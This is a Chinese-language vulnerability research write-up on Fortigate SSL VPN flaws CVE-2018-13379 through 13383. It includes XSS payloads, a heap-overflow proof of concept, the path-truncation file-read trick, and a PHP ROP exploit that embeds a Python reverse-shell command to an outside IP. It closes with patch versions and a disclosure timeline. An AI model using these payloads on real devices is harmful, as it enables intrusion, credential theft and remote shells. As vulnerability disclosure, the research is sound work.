Fortigate SSL VPN漏洞分析

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0x00 前言

上个月我们分析了Palo Alto Networks GlobalProtect中的RCE漏洞,今天来看重头戏:针对Fortigate SSL VPN的漏洞分析。我们已经在Black Hat和DEFCON上发表过相关演讲,如果大家想了解更多细节,可以下载演讲文稿

整个故事从8月份开始讲起,当时我们开始研究SSL VPN。与site-to-site VPN相比(如IPSEC和PPTP),SSL VPN更便于使用,并且可以与任何网络环境相兼容。因此,现在SSL VPN已经成为企业领域最流行的远程访问方式。

然而,如果这类“可靠的”设备不再安全那怎么办?虽然这类设备是重要的企业资产,但通常却疏于管理。根据我们对财富500强企业的调查结果,前3大SSL VPN厂商占据了75%的市场份额,SSL VPN市场并没有太复杂,因此一旦我们在常见的SSL VPN中找到严重漏洞,就会造成巨大的影响。此外,SSL VPN必须对互联网开放,因此也是绝佳的攻击点。

在研究之初,我们对SSL VPN主要企业涉及到的CVE数量进行了统计,结果如下:

似乎Fortinet以及Pulse Secure是最为安全的解决方案,但这是真的吗?我们一直都是勇敢的挑战者,因此决定开始寻找Fortinet及Pulse Secure的弱点。本文介绍了关于Fortigate SSL VPN漏洞方面的内容,下一篇文章会介绍关于Pulse Secure的内容,那部分最为精彩,敬请关注。

 

0x01 Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,主要应用于最终用户以及中型企业。目前互联网上这些服务器的数量已超过48万台,主要集中在亚洲及欧洲区域。Fortigate SSL VPN在URL中有一个/remote/login特征,并且包含如下3个特点:

1、一体化程序

我们从文件系统开始研究,尝试列出/bin/目录中的所有程序,发现这些都是符号链接,指向/bin/init,如下所示:

Fortigate将所有程序编译并配置成一个统一的程序,因此会让最终的init程序变得非常庞大。这个程序包含上千个函数,并且没有符号,只包含SSL VPN所需的必要程序,整个环境对黑客来说非常不友好。比如,我们在这个文件系统中甚至找不到/bin/ls或者/bin/cat

2、Web守护进程

Fortigate上运行着2个web接口,一个用于管理界面,监听在443端口,由/bin/httpsd负责处理;另一个是普通用户界面,默认监听在4433端口上,由/bin/sslvpnd负责处理。通常情况下,管理员页面不会对互联网开放,因此我们只能访问用户接口。

经过调查后,我们发现这个web服务器是apache的修改版,但竟然源自于2002年的apache。显然官方对2002版的apache进行了修改,添加了自己的功能。我们可以对照apache的源码,来加快分析进度。

这两个web服务都将自己的apache模块编译到程序文件中,以处理每个URL路径。我们可以找到标明处理函数的一张表,继续深入研究这些函数。

3、WebVPN

WebVPN是一种非常方便的代理功能,可以让我们简单通过浏览器连接到所有服务。WebVPN支持许多协议,比如HTTP、FTP、RDP,也能处理各种web资源,比如WebSocket以及Flash。为了正确处理网站业务,WebVPN会解析HTML,重写所有网址。这个过程涉及到大量字符串操作,很容易产生内存错误。

 

0x02 漏洞描述

我们找到了一些漏洞:

CVE-2018-13379:预认证任意文件读取

在获取对应的语言文件时,目标设备会使用lang参数来生成json文件路径:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

该操作没有保护措施,会直接附加文件扩展名。看上去我们似乎只能读取json文件,然而实际上我们可以滥用snprintf的功能。根据man页面,snprintf最多会将size-1大小的数据写入输出字符串中。因此,我们只需要让数据超过缓冲区大小,就可以剔除.json扩展符,从而实现任意文件读取。

CVE-2018-13380:预认证XSS

目标服务存在几个XSS点,如下所示:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381:预认证堆溢出

目标分2阶段对HTML实体代码进行编码。服务器首先会计算编码字符串所需的缓冲区大小,然后将编码结果存放到该缓冲区中。举个例子,在计算阶段,<字符串的编码结果为<,这样就会占用5个字节。如果服务器碰到了以&#开头的字符串(比如<),就认为该字符出已经经过编码,会直接计算字符串长度,例如:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

然而,长度计算过程以及编码过程中存在不一致的部分,编码部分并没有充分考虑到这种情况。

switch (c)
{
    case '<':
        memcpy(buf[counter], "<", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

如果我们输入恶意字符串&#<<<;,那么<仍然会被编码为<,因此结果会变成&#<<<;。这显然比预期的6字节长度要大,因此会造成堆缓冲区溢出。

PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382:magic后门

在登录页面,我们找到了一个特别的参数:magic。一旦该参数值匹配硬编码的一个字符串,我们就可以修改任何用户的密码。

根据我们的调查结果,目前还有许多Fortigate SSL VPN没有打上补丁。因此,考虑到这个漏洞的严重程度,我们并不会公布这个魔术字符串。然而,来自CodeWhite的研究人员已经复现了这个漏洞,因此其他攻击者很快也会成功利用这个漏洞。请大家尽快更新手头上的Fortigate ASAP。

CVE-2018-13383:后认证堆溢出

这个漏洞位于WebVPN功能中。在解析HTML中的JavaScript时,服务器会尝试使用如下代码将内容拷贝到缓冲区中:

memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为0x2000,但输入字符串没有长度限制,因此这里存在堆缓冲区问题。需要注意的是,这个漏洞可以溢出Null字节,这在漏洞利用中非常有用。

为了触发缓冲区溢出,我们需要将利用代码放在HTTP服务器上,然后要求SSL VPN以正常用户权限代理我们的利用请求。

 

0x03 漏洞利用

一开始官方公告中表明这些漏洞不会造成RCE风险,实际上这里官方有些误解。接下来我们将演示如何在不需要身份认证的情况下,从用户登录界面来利用漏洞。

CVE-2018-13381

我们首先尝试利用这个预认证堆溢出漏洞。然而这个漏洞利用起来有个问题:不支持溢出Null字节。通常情况下,这并不是非常严重的问题。堆利用技术现在应该可以克服这个困难。然而我们发现在Fortigate上尝试堆风水简直是一场灾难,该设备上存在一些阻碍,会让堆变得不稳定,难以控制。这些因素包括:

1、单线程,单进程,单allocator

Web守护程序会使用epoll()来处理多个连接,没有采用多进程或者多线程方案,并且主进程和程序都使用了相同的堆:JeMalloc。这意味着所有连接对应的所有操作所分配的内存都在同一个堆上,因此整个堆会变得非常乱。

2、定期触发操作

这种方式会干扰堆布局,并且无法控制。我们无法仔细布置堆结构,稍微不慎就会导致堆被摧毁。

3、引入Apache内存管理机制

分配的内存空间不会被free(),除非连接结束。我们无法在单个连接中布置堆结构。实际上这种方式可以有效缓解堆漏洞,特别是UAF(use-after-free)类漏洞。

4、JeMalloc

JeMalloc会隔离元数据以及用户数据,因此我们难以修改元数据来把玩堆布局。此外,JeMalloc会将小型对象集中管理,这样也限制了我们的利用途径。

我们在这里陷入泥潭,因此选择尝试别的道路。如果大家成功利用该漏洞,欢迎随时联系我们。

CVE-2018-13379 + CVE-2018-13383

这是预认证(pre-auth)文件读取漏洞以及后认证(post-auth)堆溢出漏洞的组合使用。一个用于通过身份认证,另一个用于搞定shell。

1、身份认证

我们首先利用CVE-2018-13379来泄露会话文件。这个session文件中包含一些有价值的信息,比如用户名以及明文密码,这样我们就可以轻松登录。

2、搞定shell

成功登录后,我们可以要求SSL VPN代理位于我们恶意HTTP服务器上的利用载荷,然后触发堆溢出。

由于前面提到的问题,我们需要寻找合适的目标来溢出。我们无法精心控制堆布局,但有可能寻找经常出现的某些目标。如果这个目标随处可见,并且每次触发漏洞时都涉及到,那么我们就可以轻松覆盖该目标,然而我们很难从这个庞大的程序中找到这样一个目标,因此我们再一次被困住。最终我们开始fuzz服务端,尝试寻找一些有用的信息。

我们实现了一次有趣的服务器崩溃。令人惊讶的是,我们基本上控制了程序计数器(program counter)。

崩溃信息如下所示,这也是我们那么喜爱fuzz的原因所在:

Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)

崩溃点位于SSL_do_handshake()中:

int SSL_do_handshake(SSL *s)
{
    // ...

    s->method->ssl_renegotiate_check(s, 0);

    if (SSL_in_init(s) || SSL_in_before(s)) {
        if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
            struct ssl_async_args args;

            args.s = s;

            ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
        } else {
            ret = s->handshake_func(s);
        }
    }
    return ret;
}

我们覆盖了SSL结构method函数的函数表,这样当目标尝试执行s->method->ssl_renegotiate_check(s, 0);时就会崩溃。

这实际上是漏洞利用的绝佳目标。SSL结构可以被轻易触发,并且大小与我们的JavaScript缓冲区接近,可以很有可能与我们的缓冲区相距一定偏移量。根据代码,我们可以看到ret = s->handshake_func(s);语句会调用一个函数指针,这也是控制程序执行流的绝佳选择。发现这一点后,我们的利用策略就逐渐清晰起来。

首先我们通过大量正常请求,利用SSL结构来喷射堆,然后再溢出SSL结构。

我们将php版的PoC放置在HTTP服务器上:

<?php
    function p64($address) {
        $low = $address & 0xffffffff;
        $high = $address >> 32 & 0xffffffff;
        return pack("II", $low, $high);
    }
    $junk = 0x4141414141414141;
    $nop_func = 0x32FC078;

    $gadget  = p64($junk);
    $gadget .= p64($nop_func - 0x60);
    $gadget .= p64($junk);
    $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
    $gadget .= p64($junk);
    $gadget .= p64($junk);
    $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
    $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
    $gadget .= p64(0x58);
    $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
    $gadget .= p64(0x1366639); // call system ;
    $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";

    $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
    $p .= $gadget;
    $p .= str_repeat('A', 0x1000 - strlen($gadget));
    $p .= $gadget;
?>
<a href="javascript:void(0);<?=$p;?>">xxx</a>

这个PoC可以分成3大部分:

1、伪造的SSL结构。

SSL结构距离我们的缓冲区保持一定偏移量,因此我们可以准确伪造这个结构。为了避免目标崩溃,我们将method指向包含void函数指针的某个位置。此时该参数为SSL自身结构(s)。然而method前只有8字节可用,我们不能在HTTP服务端上简单调用system("/bin/sh");,因此这个空间不足以运行我们的反弹shell命令。不过这里要感谢这个庞大的程序文件,我们很容易找到许多ROP gadget。比如我们就找到了方便stack pivot的一个gadget:

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因此我们将handshake_func设置为这个gadget,将rsp move到我们的SSL结构,进一步发起ROP攻击。

2、ROP链

这里的ROP链比较简单。我们只需简单前移rdi,就可以为我们的反弹shell命令预留足够的空间。

3、溢出字符串

最终我们拼接溢出空间和利用代码,成功溢出SSL结构后,我们就可以得到shell。

我们的利用代码需要多次运行,因为利用过程中我们可能会溢出某些重要数据,导致程序在执行到SSL_do_handshake前崩溃。不论如何,Fortigate部署的watchdog非常可靠,利用过程依然比较稳定,只需要花费1~2分钟就能得到反弹shell。

漏洞利用过程可参考此处视频

请大家尽快升级到FortiOS 5.4.11、5.6.9、6.0.5、6.2.0及以上版本。

 

0x04时间线

  • 2018年12月11日:向Fortinet报告漏洞情况
  • 2019年3月19日:官方设定补丁推出时间点
  • 2019年5月24日:官方发布安全公告
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